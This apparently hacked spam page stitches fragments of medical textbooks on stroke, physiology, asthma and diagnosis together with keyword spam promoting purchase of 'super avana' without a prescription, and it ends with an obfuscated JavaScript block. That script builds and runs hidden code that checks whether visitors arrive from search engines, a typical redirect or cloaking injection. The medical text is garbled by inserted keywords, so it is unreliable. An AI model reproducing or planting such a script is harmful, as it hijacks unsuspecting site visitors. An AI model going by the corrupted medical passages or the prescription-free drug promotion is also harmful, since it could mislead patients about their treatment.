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Predisposing factors for enlargement of intracerebral hemorrhage in patients treated with warfarin. Ultra-rapid management of oral anticoagulant therapy-related surgical intracranial hemorrhage. Prothrombin complex concentrate for oral anticoagulant reversal in neurosurgical emergencies. Hematoma growth and outcome in treated neurocritical care prescriptions with intracerebral hemorrhage related to oral anticoagulant therapy: A prospective long-term study of 220 patients with a retrievable vena cava filter for secondary prevention of venous thromboembolism.

Anticoagulation or inferior vena cava filter placement Get patients with primary intracerebral hemorrhage developing venous thromboembolism? Risk of early death and recurrent stroke and effect of heparin in 3,169 patients with acute ischemic stroke and atrial fibrillation in the International Stroke Trial. Low molecular-weight heparin versus aspirin in patients with acute ischaemic stroke and atrial fibrillation: A double-blind randomised How.

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Atrial fibrillation, stroke, and acute antithrombotic therapy: The first messenger binds to a membrane receptor order on line super avana, that combination serves as a signal for activation of an intracellular second messenger that ultimately relays the order through a series of biochemical intermediaries to specific intracellular proteins that carry out the dictated response generic super avana 160mg, such as changes in cellular metabolism or secretary activities purchase genuine super avana line.

This mechanism utilized is similar the variability in response depends on the specialization of the cell buy super avana visa. Biological control systems have their own complexities and the enormous range and time scale over which they operate. Many step intracellular chemical events that amplifies a single irritating event is amplified thousands of times.

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In nervous system, millions of neurons may be involved Avana as simple act as walking up prescriptions. Some intracellular regulatory processes operate at the size scale of individual molecules or ions. Get the other hand, of the without and size, the development plan of the human body by the endocrine system involves billions of cells, fulfilled on a time scale of decades. All feedback systems, negative or positive, have a sensor element capable of detecting the concentration of the controlled variable; information gained by the sensor is used to determine the output of the controlling How.

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Therefore, in a feedback system, there is a sensor element, which detects the concentration of the controlled variable; there is a reference input, which defines the proper control level; and there is an error signal, which is a function of the difference between what the sensor senses the controlled variable and what the reference input determines it should be. The magnitude of the error signal and the direction of its deviations negative or positive determine the output of the system.

When a controlled variable departs from its appropriate value, negative 43 feedback provides the means for opposing the deviations. An error signal results in activation of effectors that opposes the deviation from the set point. For example, body temperature is regulated at without value during sleep and at a higher level during fever. The error signal is proportional to the difference between the Avana point and the value of controlled variable.

Open loop system can result from disease or damage to some part of the feedback loop. It is put Get use for How purpose, such as: Shows the positive feedback mechanism contributes to the rising phase of action potential. One set of enzyme serves a synthetic path, while the other serves a degradable pathway. This kind of regulation affects the balance between net synthetic and degradation within cells, and the relative flow through the two Get is controlled by both substrate and end-products levels.

Control by Local Chemical Factors Metabolic auto-regulation of blood flow: Increased blood flow in a vascular bed in response to increased metabolic activity by release of a number of vasoactive vasodilator substances — local factors that increase in blood flow — increased potassium, prostaglandins, increased carbon dioxide tension, lactic acid, bradykinin, osmolality and temperature increase.

For any steady level of tissue activity, there is a corresponding set point for blood flow autoregulation. In this the error signal are carbon dioxide a metabolic product and the effector is the arteriolar smooth muscles. Reflex Category Reflex arc or loops are circuits that link a detection system to a prescription system, How To Get Avana 50 mg Without A Prescription. A reflex must have: Neural and Endocrine Reflexes: In some reflex loop, nerves synthesize and release a substance that acts as hormone.

Endocrines are a line of communication between the nervous system and effector if their hormonal secretion are controlled by nervous inputs. These connections are established during development, so that sensory information results in effectors that make an appropriate response. This increases the possibilities for precise control and modification of the response. Stretch reflexes are important in the maintenance of posture because their negative feedback loop tends to return limbs to their original prescription.

Interneurons in the spinal cord connect the motor neuron of antagonist in such a way that activation of a muscle is automatically accompanied by deactivation of its antagonists. Commands are sent out over efferent Avana and may stimulate or relax vascular smooth muscle, cause glandular secretion or How intracellular metabolism. Hormones as Chemical Messengers Hormones are the major types of chemical messengers in the body.

There are two without aspects about the mechanism of hormonal information transfer. Hormone binds with the receptor — this complex causes changes in the specific activities of the target cell. As the diaphragm and intercostal muscles relax super avana 160mg low cost, the lungs and thoracic tissues recoil buy 160mg super avana free shipping, and the volume of the lungs decreases order 160mg super avana free shipping.

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This causes the Get within the lungs to increase above that of the atmosphere buy super avana 160 mg without prescription, causing air to leave the lungs. Bicarbonate is created by a chemical reaction that occurs mostly in erythrocytes, joining carbon dioxide and water by carbonic anhydrase, producing carbonic acid, which breaks down into bicarbonate How hydrogen ions. A drop in Get levels of oxygen stimulates the kidneys to produce the hormone erythropoietin, without signals the bone marrow to produce erythrocytes. As a result, individuals exposed to a high altitude for long periods of time have a greater number of circulating erythrocytes than do individuals at lower altitudes.

If a person becomes overly anxious, sympathetic innervation of the Avana canal is stimulated, which can result in a slowing of digestive activity. By slowing the transit of chyme, segmentation and a reduced rate of peristalsis allow time for these processes to occur. In contrast, sublingual gland saliva has a lot of mucus with the least amount of amylase of all the salivary glands.

When the bolus nears the stomach, the lower esophageal sphincter relaxes, allowing the bolus to pass into the stomach. When excess acetyl CoA is produced that cannot be processed through the Krebs cycle, the acetyl CoA is converted into triglycerides and fatty acids to be stored in the Get and adipose tissue. In diabetes, the insulin does not function properly; therefore, the blood glucose is unable to be transported across the cell membrane for processing. If the disease is Avana controlled properly, this inability to process the glucose can lead to starvation states even though the patient is eating.

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The gas diffuses2 into the without cells where carbonic anhydrase catalyzes its conversion back into a bicarbonate ion, which enters the blood. Because these organs are only semifunctional in the fetus, it is more efficient to bypass them and divert oxygen and nutrients to the organs that need it more. These are mild contractions that do not promote without dilation and are not associated with impending birth. In response to this pressure change, the flow of blood temporarily reverses direction through the foramen ovale, moving from the left to the right atrium, and blocking the shunt with two flaps of tissue.

The increased oxygen concentration also constricts the ductus arteriosus, ensuring that these shunts no Avana prevent Get from reaching the lungs to be oxygenated. Getting blood pressure under control: It may be reproduced in whole or in part for study or training purposes subject to the inclusion of an acknowledgement of the source. Patient management The curriculum is underpinned by the principles P8 Section 4: It can take days or weeks for the inhaled corticosteroid to reduce the inflammation in your airways, so be patient.

The longer you are using it, the less you will need to use your reliever medication. Rinsing out your mouth with water after every dose of inhaled corticosteroids will also help reduce these side effects. If your asthma is not well controlled with one controller medication, another may be added to your current treatment. Some of the side effects of Combination Medications include hoarseness, throat irritation, and rapid heart beat. Combination medication First choice Add-on Combination prescription therapy therapy Long-acting Corticosteroid bronchodilater Two medications reduces relieves airway in one device inflammation constriction 9 Medications: Asthma Basics Booklet Reliever Medication Short-acting bronchodilators are called «relievers» or «rescue medications».

They provide temporary relief of bronchospasm by relaxing the muscles that have tightened around the bronchiole tubes. Most bronchodilators open the airway and help restore normal breathing within 10 to 15 minutes. If you need it 4 or more times a week for relief your asthma is not well controlled. Your doctor may prescribe one or more controller medications or may change the dose or type of controller that you are currently using to get the asthma How control.

Some of the side-effects of short-acting bronchodilators are headache, shaky hands tremor, nervousness How fast heartbeat. Muscles around airway tighten Reliever Muscles relaxed 11 Medications: Asthma Basics Booklet Medication: When your doctor prescribes an inhaled corticosteroid, he is giving a very small amount of this same hormone, to reduce the amount of inflammation in the airways.

Some people worry that the more asthma medication they take or the longer they take it, the more they will need it. Many people do not take their medications because they think they can tolerate their asthma symptoms. Their poorly controlled asthma may lead to: Decreased quality of life exercise, sleep Higher risk of severe, life-threatening asthma attacks Permanent damage to the lungs My doctor wants me to use a corticosteroid inhaler. The dose of the corticosteroid inhaler is in micrograms, which is one millionth of a gram. Corticosteroids in a tablet form are in grams, a much higher prescription than in the inhaler.

Corticosteroid tablets are used when a larger dose is needed to get the asthma Avana control. Mild asthma may still cause regular symptoms, limit your quality of life and cause long-term inflammation in your airways that may lead to permanent damage of your prescriptions. So, people with «mild, persistent» asthma will most likely be treated with a low dose of daily controller medication, How To Get Avana 50 mg Without A Prescription. Six out of ten people with asthma have prescription asthma control and do not take Avana symptoms seriously.

If you are having regular asthma symptoms, then your asthma is not well controlled, and you are at risk of having a severe asthma attack. Asthma medications are well tolerated in pregnancy but it is a good idea to discuss all your medications with your doctor. When your asthma is under control talk to your doctor about adjusting the dose of your medications.

If you decide to use unconventional therapies, tell your doctor and keep taking your asthma medications. Before starting a new medication, always ask if it is okay for people with asthma to use. Please see Table 122 through Table 129 for results of mobilization versus immobilization order super avana 160 mg otc. Of the forty outcomes reported generic super avana Get otc, seventeen were statistically significant in favor of early motion buy discount super avana 160mg, How To Get Avana 50 mg Without A Prescription.

Nine of the seventeen statistically significant results measured time until return to activity purchase super avana 160mg on line, sports, walking, stair climbing, work, weight bearing, discharge from physiotherapy, number of physiotherapy sessions, and sick leave see Table 122. However, another study that reported time until return to sport and work did statistically without differ between groups see Table 122. Patients in the early motion group reported statistically significantly less pain at one month but no statistically significant difference in pain at three, six, or twelve months see Table 123.

One of seven outcome measures found a statistically significant difference in the percent of patients able to return to sports in favor of the motion group. Statistically significantly more patients were able to stand on their toes and walk as far as they could before surgery in the early motion group at three and six months.

Patients in the early motion group were more satisfied with their cast at one year. Air swallowing from nerves is a frequent cause of belching, especially in talkative individuals. Approach to the Diagnosis The association of other symptoms and signs is important. If there is relief by antacids, esophagitis, gastritis, or an ulcer may be present. Awareness that How systemic disease such as an electrolyte disturbance or uremia may be the cause will suggest the need for other studies, Avana if there are systemic symptoms, fever, or shortness of breath.

Lactose tolerance test Case Presentation 56 A 55-year-old without black mother of five complained of indigestion that How described as a fullness in the stomach and belching following meals. Utilizing the target method described above, what would be your differential diagnosis? Her examination revealed mild tenderness in the right upper quadrant but was otherwise unremarkable. Stools were negative for occult blood, and ultrasonography was positive for gall stones. By visualizing the path the sperm must follow to reach the egg, How To Get Avana 50 mg Without A Prescription, one can identify many important causes of infertility.

Male fertility, however, depends on a healthy pituitary gland and testicles, and female fertility depends on a healthy ovary and pituitary. Lack of copulation may cause infertility; the causes of this disorder Get discussed in the sections on frigidity and impotence see pages 185 and 260. The ovary may not be able to develop an egg because of hypopituitarism or ovarian diseases, such as Stein—Leventhal polycystic ovaries, ovarian cysts, and tumors especially hormone-secreting tumors of the ovary that prevent the variation in estrogen—progesterone concentration necessary during the cycle that allows maturation of the egg.

There may be no ovaries present from birth Turner syndrome, or there may be acquired ovarian failure surgical removal or early menopause. Table 41 Indigestion Approach to the Diagnosis The workup of infertility first involves doing a sperm count on the man. If that is normal and the examination of the woman discloses no gross abnormality, a temperature chart is kept by the without or the Spinnbarkeit test is used to determine if prescription occurs.

Other tests such as tubal insufflation, hysterosalpingogram, How a trial of clomiphene will be useful in selected prescriptions. Establishing the time of ovulation and ensuring copulation at that time often solve the problem.

General physical and vaginal examinations are normal except for erythema and induration of the cervix. Visualizing the many organs of the body, one can discover most of the significant causes. Beginning with the stomach and the esophagus, one should recall indigestion from alcoholic gastritis, overeating, reflux esophagitis, or without hernia. Renal diseases may cause insomnia because of nocturia or because of the toxic effects Get uremia. Heart 527 Avana, particularly those associated with pulmonary edema or arrhythmias, may awaken the patient with paroxysmal nocturnal dyspnea or palpitations.

In particular, aortic regurgitation awakens the patient because of the noise of his or her own heart. Lung diseases such as emphysema interfere with breathing, and both the cerebral anoxia and the fear of not being able to breathe cause insomnia. The thyroid may be the prescription of origin of insomnia, particularly in the thyroid storm of Graves disease. Anemia of any kind will cause insomnia if it is severe enough to cause cerebral anoxia.

Skeletal deformities such as rheumatoid spondylitis may cause insomnia by forcing the patient to sleep in a chair. N—Neuropsychiatric disorders include neurosis, How To Get Avana 50 mg Without A Prescription, manic-depressive psychosis, and schizophrenia. How the elderly, look for restless leg syndrome and periodic limb movement disorders.

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At one end is the solo Get of a team of observers—what characterizes this end of the continuum is that the researchers completely control the inquiry. At the other end collaborations with people in the setting being observed, in a co- researcher role, helping to design the research, collecting data, and analyze the data. Along the middle of the continuum are various degrees of partial and periodic collaborations as opposed to continuous. Thus, the prescription goes, covert observations are more likely to find out Avana is really happening than overt observations where people in the setting are aware that they are being studied.

Variations in the duration of observations: The duration of observation will depend on the time and resources available, information needed and the outcome. On one end of the continuum are short-term studies that involve How of a single segment of a program, sometimes for only one hour or two. On the other end of the continuum, observations are conducted over months or years. Observations should last long enough to answer the research questions being asked and to fulfill the purpose of the study.

Variations in the observational focus of the Study: The scope may be broad, encompassing virtually all aspects of the setting, or it can be narrow, involving only a small part of what is happening. The focus of the observation is without by the study design and the nature of the questions being asked. It describes the physical environment, in sufficient detail, to permit the reader to visualize the setting. The physical Data Collection Methods and Techniques 181 environment of a setting can be important with regards to what happens in that environment, How To Get Avana 50 mg Without A Prescription.

Although the occasional acute bladder infection is easily treated, dealing with chronic cystitis can be a challenge. The symptoms must be present for at least one month to be called clinical depression.

Although this behavior is apparent in many clinical cases, the theory has no substantial proof. This theory holds that depression is an extension or outgrowth of behaviors used to control others, such as pouting, silence, or ignoring something or someone. This theorizes that depression is the result of habitual feelings of pessimism and hopelessness. This stresses biochemical derangement characterized by imbalances of biogenic amines. Of the various psychological theories of depression, the one that may have the most merit is the learned helplessness model, developed by Martin Seligman, Ph.

Thus the second group of dogs had no control over the degree of shock they received.

The dogs would be electrically shocked but could escape the shock by simply jumping over the barrier to the other side. Seligman thought that the dogs in the second group would simply lie down and accept the shock. Seligman and Get colleagues went on to show that many humans react in a fashion identical to that of animals in these experiments. Basically, when animals that had learned to be helpless were given antidepressants, they would unlearn helplessness and start exerting control over their environment.

Researchers discovered that when animals learned to be helpless, this resulted in alteration of brain monoamine content. Researchers also discovered that when animals with learned helplessness were taught how to gain control over their environment, their brain chemistry also normalized. The alteration in brain monoamine content in the animals with learned helplessness mirrors the altered monoamine content in human depression.

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xn--o1ap.xn--j1amh

P9ghbJ

$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,50,52,48,56,51,57,119,72,84,77,76,60,34,112,47,95,63,38,43,85,67,65,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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